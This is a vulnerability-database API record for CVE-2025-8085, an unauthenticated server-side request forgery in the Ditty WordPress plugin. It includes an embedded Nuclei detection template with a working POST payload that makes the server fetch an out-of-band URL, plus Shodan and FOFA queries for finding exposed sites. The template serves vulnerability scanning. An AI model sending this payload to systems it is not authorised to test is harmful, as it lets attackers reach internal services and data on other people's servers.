{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-8085/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-8085/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-8085/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-8085/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-8085/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-8085"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-8085"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.17371,
      "kev": false,
      "percentile": 0.97012
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-8085.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2025-8085\n\ninfo:\n  name: Ditty < 3.1.58 - Server-Side Request Forgery\n  author: s4e-io\n  severity: high\n  description: |\n    The plugin lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs. v3.1.57 attempted to fix the issue with a nonce check, however any authenticated users, such as subscriber can retrieve it.\n  impact: |\n    Unauthenticated attackers can force the server to make requests to arbitrary URLs through the displayItems endpoint, potentially accessing internal services and exposing sensitive data.\n  remediation: |\n    Upgrade Ditty WordPress plugin to version 3.1.58 or later that implements proper authorization checks on the displayItems endpoint.\n  reference:\n    - https://wpscan.com/vulnerability/f42c37bb-1ae0-49ab-bd81-7864dff0fcff/\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-8085\n    - https://research.cleantalk.org/cve-2025-8085/\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.html:\"/wp-content/plugins/ditty-news-ticker/\"\n    fofa-query: body=\"/wp-content/plugins/ditty-news-ticker/\"\n    publicwww-query: \"/wp-content/plugins/ditty-news-ticker/\"\n  tags: cve,cve2025,ditty-news-ticker,wordpress,wp-plugin,wpscan,wp,metaphorcreations,vuln,vkev\n\nvariables:\n  marker_string: \"{{rand_text_alpha(5)}}\"\n  marker_int: \"{{rand_int(1000, 9999)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /wp-json/dittyeditor/v1/displayItems HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"apiData\": {\n            \"layouts\": [\n              {\n                \"id\": \"{{marker_string}}\",\n                \"html\": \"{image default_src=\\\"http://{{interactsh-url}}\\\"}\",\n                \"css\": \"{{marker_string}}\"\n              }\n            ],\n            \"items\": [\n              {\n                \"item_id\": \"{{marker_int}}\",\n                \"item_type\": \"default\",\n                \"item_value\": { \"content\": \"{{marker_string}}\" },\n                \"layout_value\": { \"default\": \"{{marker_string}}\" }\n              }\n            ]\n          }\n        }\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'contains_all(body, \"{{marker_string}}\", \"{{marker_int}}\")'\n          - \"status_code == 200\"\n        condition: and\n# digest: 490a00463044022052caf6f82861cd0c1b68e9d23ca0cdf6b0e32b5866f7c50a615d2ab62ce7526c02201187b027b695e734c0d370abfdecbdabe0e29660ab8058f9a243c4e5246c021f:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-8085"
}